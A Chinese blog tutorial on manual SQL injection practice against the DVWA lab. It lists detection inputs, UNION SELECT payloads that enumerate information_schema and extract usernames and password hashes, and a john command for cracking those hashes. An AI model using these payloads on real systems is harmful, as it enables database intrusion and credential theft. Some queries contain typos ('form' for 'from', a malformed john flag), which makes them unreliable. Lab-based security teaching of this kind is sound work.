第十三章—手动漏洞挖掘(五)——SQL注入(一)

lsb_release -a #查看kail的运行版本

在这里插入图片描述

SQL注入(一)

服务器端程序将用户输入参数作为查询条件,直接拼接sql语句,并将查询结果返回给客户端浏览器。

  • 基于报错的检测方法
    . ’ " % ( )

  • 基于布尔的检测
    1 ’ and ’ 1’ = '1 / 1’and ‘1
    1’ and ‘1’ = ‘2 / 1’ and '0

例:
在这里插入图片描述

猜测服务器sql语句为:
select first_name,surname form users where id= ''
当我们输入上述内容后,就变成:
select first_name,surname form users where id='1' and '1'='1'
  • 表列数/显示信息位于那一列
    例:
select  first_name,surname form users where id= ''
50是猜测的该表的列数,根据返回结果逐渐减小猜测,--后面一定要跟空格,代表的是注释。
select first_name,surname form users where id= '' order by 50 -- ' 

在这里插入图片描述
在这里插入图片描述

  • 联合查询
union select 1,2--+

例1:

select first_name,surname from users where id='' union select 1,2-- '

在这里插入图片描述
例2:

#查询数据库用户
select first_name,surname from users where id='1' union select user(),2-- 
#查询版本号
select first_name,surname from users where id='' union select user(),version()-- 
#查询数据库名称
select first_name,surname from users where id='' union select user(),database()-- 

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
总结:

#db用户
user()
#db版本
version()
#全局函数
@@datadir、@@hostname、@@VERSION、@@version_complie_os
#当前库
database()
#ASCII转字符
char()
#连接字符串
CONCAT_WS(CHAR(32,58,32),user(),database(),version())
#计算哈希
md5()
#例:执行user函数,通过@字符切割,1是显示@字符前的内容
substring_index(USER(),"@",1)

例3:

#mysql数据结构
information_schema表
' union select table_name,table_schema from information_schema.tables-- (--后面一定要有一个空格)
#查询dvwa库中的表名
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--  
#查询users表中的列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--
#查询users表中的所有用户名、密码两列
' union select user,password from dvwa.users-- 
' union select null,concat(user,0x3a,password) from users--  

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

#将上述密码破解出来,先将其以user:password格式保存于一个txt文件中,然后执行以下命令
john --format-raw-MD5 user.txt

在这里插入图片描述

Max HackBar

在这里插入图片描述
对url解码:
在这里插入图片描述
像burp似的,我们可以在该框里修改参数,然后点击execution按钮提交。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值